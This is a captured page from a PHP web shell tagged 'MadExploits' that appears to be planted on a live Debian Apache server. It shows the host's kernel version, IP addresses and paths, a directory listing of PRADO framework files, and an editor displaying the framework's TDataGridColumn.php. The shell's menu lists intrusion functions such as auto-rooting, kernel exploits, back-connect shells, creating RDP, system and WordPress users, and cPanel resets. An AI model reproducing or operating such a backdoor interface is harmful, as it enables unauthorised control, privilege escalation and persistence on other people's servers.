Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.217.10.152
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TDataGridColumn.php
<?php /** * TDataGridColumn class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Exception; use Prado\Prado; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataValueException; use Prado\Util\TDataFieldAccessor; use Prado\Web\UI\TControl; /** * TDataGridColumn class * * TDataGridColumn serves as the base class for the different column types of * the {@link TDataGrid} control. * TDataGridColumn defines the properties and methods that are common among * all datagrid column types. In particular, it initializes header and footer * cells according to {@link setHeaderText HeaderText} and {@link getHeaderStyle HeaderStyle} * {@link setFooterText FooterText} and {@link getFooterStyle FooterStyle} properties. * If {@link setHeaderImageUrl HeaderImageUrl} is specified, the image * will be displayed instead in the header cell. * The {@link getItemStyle ItemStyle} is applied to cells that belong to * non-header and -footer datagrid items. * * When the datagrid enables sorting, if the {@link setSortExpression SortExpression} * is not empty, the header cell will display a button (linkbutton or imagebutton) * that will bubble the sort command event to the datagrid. * * Since v3.1.0, TDataGridColumn has introduced two new properties {@link setHeaderRenderer HeaderRenderer} * and {@link setFooterRenderer FooterRenderer} which can be used to specify * the layout of header and footer column cells. * A renderer refers to a control class that is to be instantiated as a control. * For more details, see {@link TRepeater} and {@link TDataList}. * * Since v3.1.1, TDataGridColumn has introduced {@link setEnableCellGrouping EnableCellGrouping}. * If a column has this property set true, consecutive cells having the same content in this * column will be grouped into one cell. * Note, there are some limitations to cell grouping. We determine the cell content according to * the cell's {@link TTableCell::getText Text} property. If the text is empty and the cell has * some child controls, we will pick up the first control who implements {@link \Prado\IDataRenderer} * and obtain its {@link \Prado\IDataRenderer::getData Data} property. * * The following datagrid column types are provided by the framework currently, * - {@link TBoundColumn}, associated with a specific field in datasource and displays the corresponding data. * - {@link TEditCommandColumn}, displaying edit/update/cancel command buttons * - {@link TDropDownListColumn}, displaying a dropdown list when the item is in edit state * - {@link TButtonColumn}, displaying generic command buttons that may be bound to specific field in datasource. * - {@link THyperLinkColumn}, displaying a hyperlink that may be bound to specific field in datasource. * - {@link TCheckBoxColumn}, displaying a checkbox that may be bound to specific field in datasource. * - {@link TTemplateColumn}, displaying content based on templates. * * To create your own column class, simply override {@link initializeCell()} method, * which is the major logic for managing the data and presentation of cells in the column. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ abstract class TDataGridColumn extends \Prado\TApplicationComponent { private $_id = ''; private $_owner; private $_viewState = []; /** * @return string the ID of the column. */ public function getID() { return $this->_id; } /** * Sets the ID of the column. * By explicitly specifying the column ID, one can access the column * by $templateControl->ColumnID. * @param string $value the ID of the column. * @throws TInvalidDataValueException if the ID is of bad format */ public function setID($value) { if (!preg_match(TControl::ID_FORMAT, $value)) { throw new TInvalidDataValueException('datagridcolumn_id_invalid', get_class($this), $value); } $this->_id = $value; } /** * @return string the text to be displayed in the header of this column */ public function getHeaderText() { return $this->getViewState('HeaderText', ''); } /** * @param string $value text to be displayed in the header of this column */ public function setHeaderText($value) { $this->setViewState('HeaderText', $value, ''); } /** * @return string the url of the image to be displayed in header */ public function getHeaderImageUrl() { return $this->getViewState('HeaderImageUrl', ''); } /** * @param string $value the url of the image to be displayed in header */ public function setHeaderImageUrl($value) { $this->setViewState('HeaderImageUrl', $value, ''); } /** * @return string the class name for the column header cell renderer. Defaults to empty, meaning not set. * @since 3.1.0 */ public function getHeaderRenderer() { return $this->getViewState('HeaderRenderer', ''); } /** * Sets the column header cell renderer class. * * If not empty, the class will be used to instantiate as a child control in the column header cell. * If the class implements {@link \Prado\IDataRenderer}, the <b>Data</b> property * will be set as the {@link getFooterText FooterText}. * * @param string $value the renderer class name in namespace format. * @since 3.1.0 */ public function setHeaderRenderer($value) { $this->setViewState('HeaderRenderer', $value, ''); } /** * @param bool $createStyle whether to create a style if previously not existing * @return TTableItemStyle the style for header */ public function getHeaderStyle($createStyle = true) { if (($style = $this->getViewState('HeaderStyle', null)) === null && $createStyle) { $style = new TTableItemStyle(); $this->setViewState('HeaderStyle', $style, null); } return $style; } /** * @return string the text to be displayed in the footer of this column */ public function getFooterText() { return $this->getViewState('FooterText', ''); } /** * @param string $value text to be displayed in the footer of this column */ public function setFooterText($value) { $this->setViewState('FooterText', $value, ''); } /** * @return string the class name for the column footer cell renderer. Defaults to empty, meaning not set. * @since 3.1.0 */ public function getFooterRenderer() { return $this->getViewState('FooterRenderer', ''); } /** * Sets the column footer cell renderer class. * * If not empty, the class will be used to instantiate as a child control in the column footer cell. * If the class implements {@link \Prado\IDataRenderer}, the <b>Data</b> property * will be set as the {@link getFooterText FooterText}. * * @param string $value the renderer class name in namespace format. * @since 3.1.0 */ public function setFooterRenderer($value) { $this->setViewState('FooterRenderer', $value, ''); } /** * @param bool $createStyle whether to create a style if previously not existing * @return TTableItemStyle the style for footer */ public function getFooterStyle($createStyle = true) { if (($style = $this->getViewState('FooterStyle', null)) === null && $createStyle) { $style = new TTableItemStyle(); $this->setViewState('FooterStyle', $style, null); } return $style; } /** * @param bool $createStyle whether to create a style if previously not existing * @return TTableItemStyle the style for item */ public function getItemStyle($createStyle = true) { if (($style = $this->getViewState('ItemStyle', null)) === null && $createStyle) { $style = new TTableItemStyle(); $this->setViewState('ItemStyle', $style, null); } return $style; } /** * @return string the name of the field or expression for sorting */ public function getSortExpression() { return $this->getViewState('SortExpression', ''); } /** * @param string $value the name of the field or expression for sorting */ public function setSortExpression($value) { $this->setViewState('SortExpression', $value, ''); } /** * @return bool whether cells having the same content should be grouped together. Defaults to false. * @since 3.1.1 */ public function getEnableCellGrouping() { return $this->getViewState('EnableCellGrouping', false); } /** * @param bool $value whether cells having the same content should be grouped together. * @since 3.1.1 */ public function setEnableCellGrouping($value) { $this->setViewState('EnableCellGrouping', TPropertyValue::ensureBoolean($value), false); } /** * @param mixed $checkParents * @return bool whether the column is visible. Defaults to true. */ public function getVisible($checkParents = true) { return $this->getViewState('Visible', true); } /** * @param bool $value whether the column is visible */ public function setVisible($value) { $this->setViewState('Visible', TPropertyValue::ensureBoolean($value), true); } /** * Returns a viewstate value. * * @param string $key the name of the viewstate value to be returned * @param mixed $defaultValue the default value. If $key is not found in viewstate, $defaultValue will be returned * @return mixed the viewstate value corresponding to $key */ protected function getViewState($key, $defaultValue = null) { return $this->_viewState[$key] ?? $defaultValue; } /** * Sets a viewstate value. * * Make sure that the viewstate value must be serializable and unserializable. * @param string $key the name of the viewstate value * @param mixed $value the viewstate value to be set * @param null|mixed $defaultValue default value. If $value===$defaultValue, the item will be cleared from the viewstate. */ protected function setViewState($key, $value, $defaultValue = null) { if ($value === $defaultValue) { unset($this->_viewState[$key]); } else { $this->_viewState[$key] = $value; } } /** * Loads persistent state values. * @param mixed $state state values */ public function loadState($state) { $this->_viewState = $state; } /** * Saves persistent state values. * @return mixed values to be saved */ public function saveState() { return $this->_viewState; } /** * @return TDataGrid datagrid that owns this column */ public function getOwner() { return $this->_owner; } /** * @param TDataGrid $value datagrid object that owns this column */ public function setOwner(TDataGrid $value) { $this->_owner = $value; } /** * Initializes the column. * This method is invoked by {@link TDataGrid} when the column * is about to be used to initialize datagrid items. * Derived classes may override this method to do additional initialization. */ public function initialize() { } /** * Fetches the value of the data at the specified field. * If the data is an array, the field is used as an array key. * If the data is an of {@link TMap}, {@link TList} or their derived class, * the field is used as a key value. * If the data is a component, the field is used as the name of a property. * @param mixed $data data containing the field of value * @param string $field the data field * @throws TInvalidDataValueException if the data or the field is invalid. * @return mixed data value at the specified field */ protected function getDataFieldValue($data, $field) { return TDataFieldAccessor::getDataFieldValue($data, $field); } /** * Initializes the specified cell to its initial values. * The default implementation sets the content of header and footer cells. * If sorting is enabled by the grid and sort expression is specified in the column, * the header cell will show a link/image button. Otherwise, the header/footer cell * will only show static text/image. * This method can be overriden to provide customized intialization to column cells. * @param TTableCell $cell the cell to be initialized. * @param int $columnIndex the index to the Columns property that the cell resides in. * @param string $itemType the type of cell (Header,Footer,Item,AlternatingItem,EditItem,SelectedItem) */ public function initializeCell($cell, $columnIndex, $itemType) { if ($itemType === TListItemType::Header) { $this->initializeHeaderCell($cell, $columnIndex); } elseif ($itemType === TListItemType::Footer) { $this->initializeFooterCell($cell, $columnIndex); } } /** * Returns a value indicating whether this column allows sorting. * The column allows sorting only when {@link getSortExpression SortExpression} * is not empty and the datagrid allows sorting. * @return bool whether this column allows sorting */ public function getAllowSorting() { return $this->getSortExpression() !== '' && (!$this->_owner || $this->_owner->getAllowSorting()); } /** * Initializes the header cell. * * This method attempts to use {@link getHeaderRenderer HeaderRenderer} to * instantiate the header cell. If that is not available, it will populate * the cell with an image or a text string, depending on {@link getHeaderImageUrl HeaderImageUrl} * and {@link getHeaderText HeaderText} property values. * * If the column allows sorting, image or text will be created as * a button which issues <b>Sort</b> command upon user click. * * @param TTableCell $cell the cell to be initialized * @param int $columnIndex the index to the Columns property that the cell resides in. */ protected function initializeHeaderCell($cell, $columnIndex) { $text = $this->getHeaderText(); if (($classPath = $this->getHeaderRenderer()) !== '') { $this->initializeCellRendererControl($cell, $classPath, $text); } elseif ($this->getAllowSorting()) { $sortExpression = $this->getSortExpression(); if (($url = $this->getHeaderImageUrl()) !== '') { $button = new TImageButton(); $button->setImageUrl($url); $button->setCommandName(TDataGrid::CMD_SORT); $button->setCommandParameter($sortExpression); if ($text !== '') { $button->setAlternateText($text); } $button->setCausesValidation(false); $cell->getControls()->add($button); } elseif ($text !== '') { $button = new TLinkButton(); $button->setText($text); $button->setCommandName(TDataGrid::CMD_SORT); $button->setCommandParameter($sortExpression); $button->setCausesValidation(false); $cell->getControls()->add($button); } else { $cell->setText(' '); } } else { if (($url = $this->getHeaderImageUrl()) !== '') { $image = new TImage(); $image->setImageUrl($url); if ($text !== '') { $image->setAlternateText($text); } $cell->getControls()->add($image); } elseif ($text !== '') { $cell->setText($text); } else { $cell->setText(' '); } } } /** * Initializes the footer cell. * * This method attempts to use {@link getFooterRenderer FooterRenderer} to * instantiate the footer cell. If that is not available, it will populate * the cell with a text string specified by {@link getFooterImageUrl FooterImageUrl} * * @param TTableCell $cell the cell to be initialized * @param int $columnIndex the index to the Columns property that the cell resides in. */ protected function initializeFooterCell($cell, $columnIndex) { $text = $this->getFooterText(); if (($classPath = $this->getFooterRenderer()) !== '') { $this->initializeCellRendererControl($cell, $classPath, $text); } elseif ($text !== '') { $cell->setText($text); } else { $cell->setText(' '); } } /** * Initializes a cell creating a renderer control. * * @param TTableCell $cell the cell to be initialized * @param string $classPath the rendered class that will be instanciated. * @param mixed $data used to initialize the control */ protected function initializeCellRendererControl($cell, $classPath, $data = null) { $control = Prado::createComponent($classPath); $cell->getControls()->add($control); if ($control instanceof \Prado\IDataRenderer) { if ($control instanceof IItemDataRenderer && ($item = $cell->getParent()) instanceof IItemDataRenderer) { $control->setItemIndex($item->getItemIndex()); $control->setItemType($item->getItemType()); } if ($data !== null) { $control->setData($data); } } return $control; } /** * Formats the text value according to a format string. * If the format string is empty, the original value is converted into * a string and returned. * If the format string starts with '#', the string is treated as a PHP expression * within which the token '{0}' is translated with the data value to be formated. * Otherwise, the format string and the data value are passed * as the first and second parameters in {@link sprintf}. * @param string $formatString format string * @param mixed $value the data to be formatted * @return string the formatted result */ protected function formatDataValue($formatString, $value) { if ($formatString === '') { return TPropertyValue::ensureString($value); } elseif ($formatString[0] === '#') { $expression = strtr(substr($formatString, 1), ['{0}' => '$value']); try { return eval("return $expression;"); } catch (Exception $e) { throw new TInvalidDataValueException('datagridcolumn_expression_invalid', get_class($this), $expression, $e->getMessage()); } } else { return sprintf($formatString, $value); } } }
Close